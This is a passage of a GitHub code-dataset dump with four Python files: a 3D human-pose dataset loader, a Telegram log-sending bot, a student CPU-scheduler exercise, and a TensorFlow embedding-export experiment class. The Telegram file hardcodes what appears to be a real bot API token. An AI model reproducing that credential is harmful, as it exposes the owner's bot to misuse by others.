# 16\n                   'Thorax')  # 17\n    skeleton = ((1, 0), (2, 1), (3, 2),  # 2\n                (4, 0), (5, 4), (6, 5),  # 5\n                (7, 0), (8, 7),  # 7\n                (9, 8), (10, 9),  # 9\n                (11, 7), (12, 11), (13, 12),  # 12\n                (14, 7), (15, 14), (16, 15),  # 15\n                (17, 7))  # 16\n    def __init__(self,\n                root,\n                cfg,\n                train=True,\n                skip_empty=True,\n                dpg=False,\n                **kwargs):\n        self._root = root\n        self._preset_cfg = cfg.DATA_PRESET\n        self.protocol = self._preset_cfg.PROTOCOL\n        self._train = train\n        self._dpg = False\n        self._loss_type = self._preset_cfg.HEATMAP2COORD\n\n        self._ann_file_dir = os.path.join(self._root, \"annots\")\n        self._img_file_dir = os.path.join(self._root, \"images\")\n        self._k3d_file_dir = os.path.join(self._root, \"keypoints3d\")\n        self._smpl_file_dir = os.path.join(self._root, \"smpl\")\n\n        self._scale_factor = self._preset_cfg.SCALE_FACTOR\n        self._color_factor = self._preset_cfg.COLOR_FACTOR\n        self._rot = self._preset_cfg.ROT_FACTOR\n        self._input_size = self._preset_cfg.IMAGE_SIZE\n        self._output_size = self._preset_cfg.HEATMAP_SIZE\n        self._occlusion = self._preset_cfg.OCCLUSION\n        self._sigma = self._preset_cfg.SIGMA\n        self._check_centers = False\n        self.num_joints = self._preset_cfg.NUM_JOINTS\n\n        self.num_joints_half_body = self._preset_cfg.NUM_JOINTS_HALF_BODY\n        self.prob_half_body = self._preset_cfg.PROB_HALF_BODY\n\n        self._loss_type = self._preset_cfg.HEATMAP2COORD\n\n        self.upper_body_ids = (7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17)\n        self.lower_body_ids = (0, 1, 2, 3, 4, 5, 6)\n\n        self.root_idx = self.joints_name.index('Pelvis')\n        self.lshoulder_idx = self.joints_name.index('L_Shoulder')\n        self.rshoulder_idx = self.joints_name.index('R_Shoulder')\n\n        self._items = self._load_jsons()\n\n        if self._preset_cfg.TYPE == 'simple_3d':\n            self.transformation = SimpleTransform3D(\n                self, scale_factor=self._scale_factor,\n                color_factor=self._color_factor,\n                occlusion=self._occlusion,\n                input_size=self._input_size,\n                output_size=self._output_size,\n                bbox_3d_shape=self.bbox_3d_shape,\n                rot=self._rot, sigma=self._sigma,\n                train=self._train, add_dpg=self._dpg,\n                loss_type=self._loss_type, scale_mult=1)\n\n        pass                                                                                           \n\n    def _load_jsons(self):\n        items = []\n\n        img_dirs = os.listdir(self._img_file_dir)\n        print(len(img_dirs))\n\n        count = 0\n        for _dir in img_dirs:\n            img_dir = os.path.join(self._img_file_dir, _dir)\n            ann_dir = os.path.join(self._ann_file_dir, _dir)\n            k3d_dir = os.path.join(self._k3d_file_dir, _dir)\n            smpl_dir = os.path.join(self._smpl_file_dir, _dir)\n        \n            img_list = os.listdir(img_dir)\n\n            for _img_file in img_list:\n                _id = _img_file.split('.')[0]\n                _json = _id + '.json'\n                _img_path = os.path.join(img_dir, _img_file)\n                _ann_path = os.path.join(ann_dir, _json)\n                _k3d_path = os.path.join(k3d_dir, _json)\n                _smpl_path = os.path.join(smpl_dir, _json)\n\n                with open(_ann_path, 'r') as f:\n                    _ann_data = json.load(f)\n\n                with open(_k3d_path, 'r') as f:\n                    _k3d_data = json.load(f)\n\n                with open(_smpl_path, 'r') as f:\n                    _smpl_data = json.load(f)\n                \n                for i in range(len(_ann_data['annots'])):\n                    #print(_img_path)\n\n                    #keypoints2d = np.array(_ann_data['annots'][i]['keypoints'])\n                    keypoints3d = np.array(_k3d_data[i]['keypoints3d'])\n                    cameraK = np.array(_ann_data['K'])\n                    f = [cameraK[0,0],cameraK[1,1]]\n                    c = [cameraK[0,2],cameraK[1,2]]\n                    joint_cam = keypoints3d[self.HUMAN36_INDEX]\n                    joint_img = cam2pixel(joint_cam, f, c)\n                    joint_img[:, 2] = joint_img[:, 2] - joint_cam[self.root_idx, 2]\n                    joint_vis = np.ones((self.num_joints, 3))  #(18,3)\n                    for j in range(joint_vis.shape[0]):\n                        if self.VIS_MASK[j] == 0:\n                            joint_vis[j, :] = 0\n\n                    width = _ann_data['width']\n                    height = _ann_data['height']\n\n                    item = {\n                        \"img_id\": count,\n                        \"img_path\": _img_path,\n                        \"width\": width,\n                        \"height\": height,\n                        \"bbox\": _ann_data['annots'][i]['bbox'][:4],\n                        \"joint_img\": joint_img,\n                        \"joint_vis\": joint_vis,\n                        \"joint_cam\": joint_cam,\n                        #\"keypoints2d\": np.array(_ann_data['annots'][i]['keypoints']),\n                        #\"keypoints3d\": np.array(_k3d_data[i]['keypoints3d']),\n                        \"smpl\": _smpl_data[i],\n                        \"cameraK\": cameraK,\n                        #\"vanish_line\": _ann_data['vanish_line'],\n                        #\"vanish_point\": _ann_data['vanish_point']\n                    }\n\n                    count += 1\n                \n                    items.append(item)\n        print(len(items))\n        return items\n    \n    def __getitem__(self, idx):\n        # get image id\n        item = copy.deepcopy(self._items[idx])\n        img_path = item[\"img_path\"]\n        img_id = item[\"img_id\"]\n\n        img = scipy.misc.imread(img_path, mode='RGB')\n        # img = load_image(img_path)\n        # img = cv2.imread(img_path, cv2.IMREAD_COLOR | cv2.IMREAD_IGNORE_ORIENTATION)\n\n        # transform ground truth into training label and apply data augmentation\n        target = self.transformation(img, item)\n        img = target.pop('image')\n        bbox = target.pop('bbox')\n        return img, target, img_id, bbox\n\n    def __len__(self):\n        return len(self._items)\n            \n    @property\n    def joint_pairs(self):\n        \"\"\"Joint pairs which defines the pairs of joint to be swapped\n        when the image is flipped horizontally.\"\"\"\n        return ((1, 4), (2, 5), (3, 6), (14, 11), (15, 12), (16, 13))\n\n    @property\n    def bone_pairs(self):\n        \"\"\"Bone pairs which defines the pairs of bone to be swapped\n        when the image is flipped horizontally.\"\"\"\n        return ((0, 3), (1, 4), (2, 5), (10, 13), (11, 14), (12, 15))\n\n            \n\n\n\n\nif __name__ == '__main__':\n    dataset = MirrorDataset(\"/home/xyh/dataset/mirrored-human-base\")\n    #dataset._load_jsons()\n    item = dataset._items[501]\n    print(item[\"joint_vis\"])\n    img_path = item['img_path']\n    print(img_path)\n    img = scipy.misc.imread(img_path, mode='RGB')\n    #keypoints2d = item['keypoints2d']\n    keypoints3d = item['joint_cam']\n    K = item['cameraK']\n    f = [K[0,0],K[1,1]]\n    c = [K[0,2],K[1,2]]\n\n    coord = cam2pixel(keypoints3d, f, c)\n    \n    #print(coord)\n\n    #draw_origin_joints(img, keypoints2d, output=\"keypoint2d.png\")\n    #draw_origin_joints(img, coord, output=\"cam2pixel.png\")\n\n    print(coord.shape)\n\n    for i in range(coord.shape[0]):\n        save_img = \"k3d_%d.png\" % i\n        draw_origin_joints_index(img, coord, index=i, output=save_img)", "repo_name": "XiaoYuhao/SinglePose", "sub_path": "datasets/mirror.py", "file_name": "mirror.py", "file_ext": "py", "file_size_in_byte": 8657, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "torch.utils.data.Dataset", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 15, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "transform.SimpleTransform3D", "line_number": 79, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 116, "usage_type": "call"}, {"api_name": "json.load", "line_number": 119, "usage_type": "call"}, {"api_name": "json.load", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 129, "usage_type": "call"}, {"api_name": "utils.cam2pixel", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 135, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 168, "usage_type": "call"}, {"api_name": "scipy.misc.misc.imread", "line_number": 172, "usage_type": "call"}, {"api_name": "scipy.misc.misc", "line_number": 172, "usage_type": "attribute"}, {"api_name": "scipy.misc", "line_number": 172, "usage_type": "name"}, {"api_name": "scipy.misc.misc.imread", "line_number": 209, "usage_type": "call"}, {"api_name": "scipy.misc.misc", "line_number": 209, "usage_type": "attribute"}, {"api_name": "scipy.misc", "line_number": 209, "usage_type": "name"}, {"api_name": "utils.cam2pixel", "line_number": 216, "usage_type": "call"}, {"api_name": "utils.draw_origin_joints_index", "line_number": 227, "usage_type": "call"}]}
{"seq_id": "7935778965", "text": "import telebot\nimport Debug\n\nbotKey = \"1659365904:AAGioE7u7tLsIaq4lpk6aaGKGcJiGhddSs8\"\nbot = \"\"\n\ntry:\n    bot = telebot.TeleBot(botKey)\nexcept:\n    print(\"Wrong telegram bot key\")\n\n\n#Get logs from Debug script and send it to user\ndef SendLogs(message, bot):\n    logType = message.text.split(\" \")\n    answ = \"Logs:\\n\"\n\n    if(len(logType) > 1 and logType[1] != \"All\"):\n        for log in Debug.ReadLogsByType(logType[1]):\n            answ += log + \"\\n\"\n        pass\n    else:\n        for log in Debug.ReadAllLogs():\n            answ += log + \"\\n\"\n\n    if len(answ) > 4096:\n        for x in range(0, len(answ), 4096):\n            bot.send_message(message.chat.id, answ[x:x+4096])\n    else:\n        bot.send_message(message.chat.id, answ)\n", "repo_name": "unknwn-dev/KreDpUaRasp", "sub_path": "TgBot.py", "file_name": "TgBot.py", "file_ext": "py", "file_size_in_byte": 736, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "telebot.TeleBot", "line_number": 8, "usage_type": "call"}, {"api_name": "Debug.ReadLogsByType", "line_number": 19, "usage_type": "call"}, {"api_name": "Debug.ReadAllLogs", "line_number": 23, "usage_type": "call"}]}
{"seq_id": "33440462612", "text": "from tabulate import tabulate\nfrom Processo import Processo\n\nclass Escalonador : \n\n    def first_come_first_served(self, fila) :\n\n        fila_de_prontos = []; \n        numero_bursts   = 3;\n        soma_burst      = 0;\n\n        for processo in fila : \n\n            soma_burst = soma_burst + processo['burst_time']\n            \n            processo['tempo_escolha'] = processo['hora_chegada'] - processo['burst_time'] \n            processo['tempo_medio']   = processo['burst_time']\n            \n            if (len(fila_de_prontos) == 0) :\n                processo['hora_chegada'] = 0\n                fila_de_prontos.append(processo)\n            else :\n                if  fila_de_prontos[-1]['hora_chegada'] < processo['hora_chegada'] :\n                    fila_de_prontos.append(processo)\n                else :\n                    aux = fila_de_prontos[-1]\n                    fila_de_prontos[-1] = processo\n                    fila_de_prontos.append(aux)\n\n        return fila_de_prontos\n\n    def short_job_first(self,processos) :\n\n        fila_job = []\n\n        for processo in processos :\n\n            if (len(fila_job) == 0) :\n                fila_job.append(processo)\n            else :\n\n                tamanho_processo = processo['burst_time']\n\n                for job in fila_job :\n                    tamanho_fila     = job['burst_time']\n                    prioridade_fila  = job['prioridade']\n\n                    index = fila_job.index(job)\n\n                    if (tamanho_fila < tamanho_processo) :\n                        index += 1\n                        fila_job.insert(index, processo)\n                        break\n                    else :\n                        fila_job.insert(index, processo)\n                        break\n\n        return fila_job\n\n\n    def short_job_first_preem(self, processos) :\n\n        fila_job = self.short_job_first(processos)\n\n        resultados = []\n\n        for job in fila_job :\n            resultados.append([job[\"numero\"], job[\"burst_time\"], job[\"hora_chegada\"], job[\"prioridade\"]])\n\n        tabela = [\"processo\", \"burst_time\", \"hora_chegada\", \"prioridade\"]\n\n        print(tabulate(resultados,tabela,tablefmt=\"grid\"))\n\n        while (len(resultados) > 0) :\n            cont = 0\n            for processo in resultados : \n                quantum = 5\n\n                quanta = processo[1] - quantum\n\n                if (quanta <= 0) :\n                    processo[1] = quanta\n                    resultados.pop(cont)\n                    print(\"BURST TIME DO PROCESSO \", processo[0], \"CONCLUÍDO\")\n\n                else :\n                    processo[1] = quanta\n                    print(\"EXECUTANDO ==> PROCESSO \", processo[0] , \"| BURST TIME RESTANTE \", processo[1])\n                    cont = cont + 1\n\n\n    def round_robin(self, processos) :\n\n        fila_job = self.short_job_first(processos)\n\n        resultados = []\n\n        for job in fila_job :\n            resultados.append([job[\"numero\"], job[\"burst_time\"], job[\"hora_chegada\"], job[\"prioridade\"]])\n\n        tabela = [\"processo\", \"burst_time\", \"hora_chegada\", \"prioridade\"]\n\n        print(tabulate(resultados,tabela,tablefmt=\"grid\"))\n\n        quantum = 5\n        soma_quanta = 0\n\n        while (len(resultados) > 0) :\n            cont = 0\n\n            for processo in resultados : \n                print(\"QUANTUM : \", quantum)\n                soma_quanta = processo[1] + soma_quanta\n\n                quanta = processo[1] - quantum\n\n                if (quanta <= 0) :\n                    processo[1] = quanta\n                    resultados.pop(cont)\n                    print(\"BURST TIME DO PROCESSO \", processo[0], \"CONCLUÍDO\")\n\n                else :\n                    processo[1] = quanta\n                    print(\"EXECUTANDO ==> PROCESSO \", processo[0] , \"| BURST TIME RESTANTE \", processo[1])\n                    cont = cont + 1\n\n    \n            if (len(resultados) > 0) :\n                quantum = soma_quanta / len(resultados)\n                soma_quanta = 0\n\n", "repo_name": "wpdcastro/Sistemas-Operacionais-II", "sub_path": "Escalonador.py", "file_name": "Escalonador.py", "file_ext": "py", "file_size_in_byte": 3986, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tabulate.tabulate", "line_number": 72, "usage_type": "call"}, {"api_name": "tabulate.tabulate", "line_number": 103, "usage_type": "call"}]}
{"seq_id": "15743673441", "text": "from abc import abstractmethod\n\nimport tensorflow as tf\nfrom tensorflow.contrib.tensorboard.plugins import projector\nimport includes.dataset_helper as dsf\nimport numpy\nimport includes.debug as dbg\nimport os\nimport math\nfrom operator import mul\nfrom functools import reduce\n\n\nclass Experiment:\n    \"\"\"\n    Core class for all feature learning models\n    \"\"\"\n    def __init__(self, **params):\n        # set user params\n        self.params = params\n        # define default user params for core class\n        self._set_default_params()\n        # setting missing params from default params to user params\n        for param in self._default_params:\n            if param not in self.params:\n                self.params[param] = self._default_params[param]\n\n        # set properties for core class\n        self._define_properties()\n\n        self._save_config(self.params['run_config'][1], self.params)\n        self._load_dataset(self.params['dataset_path'])\n\n        # set default placeholders\n        with tf.variable_scope(\"Placeholders\"):\n            self._define_placeholders()\n\n        # tensorboard\n        self._log_dir = \"logs/train/{}/{}\".format(self.params['tag_name'], self.params['run_config'][0])\n        self.projectorConfig = projector.ProjectorConfig()\n\n        print(\"init completed. tag: {}, classes: {}, elements: {}, size: {}x{}x{}\"\n              .format(self.params['tag_name'],\n                      'none' if 'numLabels' not in self.dataset.params else self.dataset.params['numClasses'],\n                      self.dataset.params['numImages'],\n                      self.dataset.params['imageHeight'],\n                      self.dataset.params['imageWidth'],\n                      self.dataset.params['imageChannels']))\n\n    def finish_up(self):\n        if 'train_writer' in self.tboard:\n            # if self.dataset.test.fileNames is not None:\n            print(\"writing projector config to log dir\")\n            projector.visualize_embeddings(self.tboard['train_writer'], self.projectorConfig)\n            self.tboard['train_writer'].close()\n        print(\"destroing tensorflow graph...\")\n\n        if hasattr(self, 'session'):\n            self.session.close()\n\n    def _init_tf_vars(self):\n        '''Initialize only uninitialized vars'''\n        global_vars = tf.global_variables()\n        is_not_initialized = self.session.run([tf.is_variable_initialized(var) for var in global_vars])\n        not_initialized_vars = [v for (v, f) in zip(global_vars, is_not_initialized) if not f]\n        # print[str(i.name) for i in not_initialized_vars]  # only for testing\n        if len(not_initialized_vars):\n            self.session.run(tf.variables_initializer(not_initialized_vars))\n\n    def _set_default_params(self):\n        self._default_params = {'test_size': 310, 'training_batch_size': 200, 'k_fold': 0}\n\n    def _define_placeholders(self):\n        with tf.name_scope('io_tensors'):\n            self.input_tensor = tf.placeholder(tf.float32, [None, self.dataset.params['imageHeight'],\n                                                            self.dataset.params['imageWidth'],\n                                                            self.dataset.params['imageChannels']], name=\"input_tensor\")\n            self.tboard['input_images'] = tf.summary.image('input', self.input_tensor, 6)\n\n    def _define_properties(self):\n        self.tboard = {}\n        # graph output objects\n        self.graph = {}\n        self.session = tf.Session()\n\n    def _save_config(self, path, dict, append=False):\n        dsf.write_cfg(path + 'config.json', dict, append)\n\n    def _load_dataset(self, path):\n        self.dataset = dsf.read_data_sets(path, one_hot=True, reshape=False, shuffle=True,\n                                          validation_size=self.params['test_size'],\n                                          k_fold=self.params['k_fold'])\n\n    def _setup_embedding_vector(self, index, test_vectors):\n        with tf.name_scope('EmbeddingVectors'):\n            embeded_shape = [len(self.dataset.test.images), self._get_tensor_flat_size(self.graph['features_layer'])]\n            self.embeddingInput = tf.placeholder(tf.float32, embeded_shape, name=\"EmbeddingVector\" + index)\n            embeded_vector = tf.get_variable(\"embeded_vector_\" + index, shape=embeded_shape)\n            if 'embeded_vectors' not in self.graph:\n                self.graph['embeded_vectors'] = []\n            self.graph['embeded_vectors'].append(embeded_vector)\n            self.graph['embeded_vector_assign'] = tf.assign(embeded_vector, self.embeddingInput)\n            self._init_tf_vars()\n            self._create_meta_for_embedding(index, embeded_vector)\n            self.session.run([self.graph['embeded_vector_assign']], {self.embeddingInput: test_vectors})\n\n    def _generate_sprites(self):\n        if (self.dataset.params['imageWidth'] < 64):\n            down_sample_rate = 1\n        else:\n            down_sample_rate = int(self.dataset.params['imageWidth'] / 64)\n        sprites = numpy.copy(self.dataset.test.images)\n        if down_sample_rate > 1:\n            sprites = - (sprites[:, ::down_sample_rate, ::down_sample_rate, :] * 255) + 255\n        else:\n            sprites = sprites * 255\n        sprites = sprites.astype(numpy.uint8)\n        output_size = 64 if down_sample_rate > 1 else self.dataset.params['imageWidth']\n        return self._reconstruct_from_patches(sprites, output_size), output_size\n\n\n    def _reconstruct_from_patches(self, patches, patch_size):\n        map_size = int(math.ceil(math.sqrt(len(self.dataset.test.images))))\n        out_img = numpy.full((map_size * patch_size, map_size * patch_size, patches.shape[-1]), 255, dtype=numpy.uint8)\n        i = 0\n        for row in range(map_size):\n            for col in range(map_size):\n                out_img[row * patches.shape[1]:(row + 1) * patches.shape[1],\n                        col * patches.shape[2]:(col + 1) * patches.shape[2]] = patches[i]\n                i += 1\n                if i >= patches.shape[0]:\n                    return out_img\n        return out_img\n\n    def _get_tensor_flat_size(self, input_tensor):\n        if not isinstance(input_tensor, list):\n            shape = input_tensor.get_shape().as_list()\n        else:\n            shape = input_tensor.copy()\n        shape.pop(0)\n        return reduce(mul, shape, 1)\n\n    def _create_meta_for_embedding(self, index, embeded_vector):\n        metadata_filename = os.path.join(self._log_dir, \"metadata_{}.tsv\".format(index))\n        if self.dataset.test.fileNames is not None or self.dataset.test.labels is not None:\n            if self.dataset.test.fileNames is not None:\n                metadata = numpy.copy(self.dataset.test.fileNames)\n                metadata = numpy.insert(metadata, 0, \"{}\\t{}\".format(\"file_name\", \"Class\"))\n            elif self.dataset.test.labels is not None:\n                #copy, convert onehot to dense and convert int to string\n                metadata = numpy.char.mod('%d',dsf.one_hot_to_dense(numpy.copy(self.dataset.test.labels)))\n                #metadata = numpy.insert(metadata, 0, \"Class\")\n            numpy.savetxt(metadata_filename, metadata, fmt='%s',\n                          delimiter=os.linesep)\n        embedding = self.projectorConfig.embeddings.add()\n        embedding.tensor_name = embeded_vector.name\n        if os.path.isfile(metadata_filename):\n            embedding.metadata_path = dsf.extract_file_name(metadata_filename)\n        # sprites are generated from dataset.test images anyway, since\n        sprite, sprite_size = self._generate_sprites()\n        sprite_input = tf.placeholder(tf.uint8, sprite.shape, name=\"Sprite\" + index)\n        sprite_to_png = tf.image.encode_png(sprite_input)\n        sprite_imag_path = os.path.join(self._log_dir, \"sprite{}.png\".format(index))\n        sprite_write = tf.write_file(tf.constant(sprite_imag_path), sprite_to_png)\n        embedding.sprite.image_path = \"sprite{}.png\".format(index)\n        embedding.sprite.single_image_dim.extend([sprite_size, sprite_size])\n        self.session.run([sprite_write], {sprite_input: sprite})\n\n    def _save_model_builder(self):\n        builder = tf.saved_model.builder.SavedModelBuilder(os.path.join(self.params['run_config'][1], \"modelBuilder\"))\n        builder.add_meta_graph_and_variables(self.session, [tf.saved_model.tag_constants.SERVING])\n        builder.save()\n\n    def _rotate_image(self, input_image):\n        if (self.params['rotate_images']):\n            # rotate image on random degree\n            twopi = tf.constant(2 * math.pi)\n            rotate_degree = tf.random_uniform([1], minval=0, maxval=twopi, dtype=tf.float32)[0]\n            input_image = tf.contrib.image.rotate(self.input_tensor, rotate_degree)\n        return input_image\n\n    def extract_vectors_from_dataset(self, out_filename, type=\"test\"):\n        print(\"creating vectors ({})...\".format(type))\n        filename_suffix = \"\"\n        if type == \"test\":\n            dts = self.dataset.test\n        elif type == \"all\":\n            dts = self.dataset.all\n            filename_suffix += \"_all\"\n        else:\n            raise ValueError(\"Dataset type is wrong ('type' param)\")\n\n        vct_file_name = dsf.file_cut_extension(out_filename) + filename_suffix + '.vct'\n\n        labels_file_name = dsf.file_cut_extension(out_filename) + filename_suffix + '.labels'\n        if 'features_layer' not in self.graph:\n            get_size_vector = self._extract_features(dts.images[:1])\n            size_vector = numpy.prod(get_size_vector.shape)\n        else:\n            size_vector = numpy.prod(self.graph['features_layer'].get_shape().as_list()[1:])\n\n        with open(vct_file_name, 'wb') as foutVectors:\n            dsf.write_meta(foutVectors,\n                           [0, 0, len(dts.images), size_vector])\n\n            if dts.labels is not None:\n                fout_labels = open(labels_file_name, 'wb')\n                dsf.write_meta(fout_labels, [len(dts.labels), self.dataset.params['numClasses']])\n            test_vectors = []\n            # data for embedings need to be stored in saved TF model in a Variable\n            # variable will be named with dataset file_name suffix\n\n            for test_input_batch, test_labels_batch in dts.split_to_batches(self.params['training_batch_size']):\n                if dts.labels is not None:\n                    if len(test_labels_batch.shape) != 1:\n                        test_labels_batch = dsf.one_hot_to_dense(test_labels_batch)\n                converted_batch = self._extract_features(test_input_batch)\n                test_vectors.append(converted_batch)\n                converted_batch.flatten().tofile(foutVectors)\n                if dts.labels is not None:\n                    test_labels_batch.tofile(fout_labels)\n            if dts.labels is not None:\n                fout_labels.close()\n\n            test_vectors = numpy.concatenate(test_vectors, axis=0)\n            if type == \"test\":\n                self._setup_embedding_vector(\n                    index=dsf.extract_file_name_cut_extension(dsf.file_cut_extension(out_filename)).replace(\"-\", \"\"),\n                    vectors=test_vectors)\n                #self.session.run([self.graph['embeded_vector_assign']], {self.embeddingInput: test_vectors})\n            # self.saver = tf.train.Saver(max_to_keep=2)\n            if 'embeded_vectors' in self.graph:\n                tf.train.Saver(self.graph['embeded_vectors'], max_to_keep=2).save(self.session,\n                                                                              os.path.join(self._log_dir,\n                                                                                           \"modelEmbeded.ckpt\"),\n                                                                              100000)\n\n        print(\"vectors saved to files!\")\n\n    @abstractmethod\n    def _hook_post_tf_init(self):\n        pass\n\n    @abstractmethod\n    def _train_batch(self, iteration):\n        pass\n\n    @abstractmethod\n    def _build_network(self):\n        pass\n\n    @abstractmethod\n    def _setup_embedding_vector(self, index, vectors):\n        pass\n\n    @abstractmethod\n    def _extract_features(self, test_input_batch):\n        pass\n\n    def train(self):\n        self._build_network()\n\n        # create object and dir for tensorboard\n        self.tboard['merged_summary'] = tf.summary.merge_all()\n        self.tboard['train_writer'] = tf.summary.FileWriter(self._log_dir, self.session.graph)\n        self.saver = tf.train.Saver(max_to_keep=1)\n        # if self.dataset.test.fileNames is not None:\n        #    self.createMeta()\n        self._init_tf_vars()\n        self._hook_post_tf_init()\n        # if self.dataset.test.fileNames is not None:\n        #   self.session.run([spriteWrite], {spriteInput: sprite})\n\n        for i in range(self.params['training_steps']):\n            self._train_batch(i)\n\n\n", "repo_name": "apatsekin/patterns-identification-tensorflow", "sub_path": "includes/experiment_class.py", "file_name": "experiment_class.py", "file_ext": "py", "file_size_in_byte": 12810, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tensorflow.variable_scope", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.contrib.tensorboard.plugins.projector.ProjectorConfig", "line_number": 40, "usage_type": "call"}, {"api_name": "tensorflow.contrib.tensorboard.plugins.projector", "line_number": 40, "usage_type": "name"}, {"api_name": "tensorflow.contrib.tensorboard.plugins.projector.visualize_embeddings", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.contrib.tensorboard.plugins.projector", "line_number": 54, "usage_type": "name"}, {"api_name": "tensorflow.global_variables", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.is_variable_initialized", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.variables_initializer", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 75, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.image", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 78, "usage_type": "attribute"}, {"api_name": "tensorflow.Session", "line_number": 84, "usage_type": "call"}, {"api_name": "includes.dataset_helper.write_cfg", "line_number": 87, "usage_type": "call"}, {"api_name": "includes.dataset_helper", "line_number": 87, "usage_type": "name"}, {"api_name": "includes.dataset_helper.read_data_sets", "line_number": 90, "usage_type": "call"}, {"api_name": "includes.dataset_helper", "line_number": 90, "usage_type": "name"}, {"api_name": "tensorflow.name_scope", "line_number": 95, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 97, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 97, "usage_type": "attribute"}, {"api_name": "tensorflow.get_variable", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.assign", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 117, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 123, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 124, "usage_type": "attribute"}, {"api_name": "functools.reduce", "line_number": 141, "usage_type": "call"}, {"api_name": "operator.mul", "line_number": 141, "usage_type": "argument"}, {"api_name": "os.path.join", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.char.mod", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.char", "line_number": 151, "usage_type": "attribute"}, {"api_name": "includes.dataset_helper.one_hot_to_dense", "line_number": 151, "usage_type": "call"}, {"api_name": "includes.dataset_helper", "line_number": 151, "usage_type": "name"}, {"api_name": "numpy.copy", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 153, "usage_type": "call"}, {"api_name": "os.linesep", "line_number": 154, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 157, "usage_type": "call"}, {"api_name": "os.path", "line_number": 157, "usage_type": "attribute"}, {"api_name": "includes.dataset_helper.extract_file_name", "line_number": 158, "usage_type": "call"}, {"api_name": "includes.dataset_helper", "line_number": 158, "usage_type": "name"}, {"api_name": "tensorflow.placeholder", "line_number": 161, "usage_type": "call"}, {"api_name": "tensorflow.uint8", "line_number": 161, "usage_type": "attribute"}, {"api_name": "tensorflow.image.encode_png", "line_number": 162, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 162, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path", "line_number": 163, "usage_type": "attribute"}, {"api_name": "tensorflow.write_file", "line_number": 164, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 164, "usage_type": "call"}, {"api_name": "tensorflow.saved_model.builder.SavedModelBuilder", "line_number": 170, "usage_type": "call"}, {"api_name": "tensorflow.saved_model", "line_number": 170, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 170, "usage_type": "call"}, {"api_name": "os.path", "line_number": 170, "usage_type": "attribute"}, {"api_name": "tensorflow.saved_model", 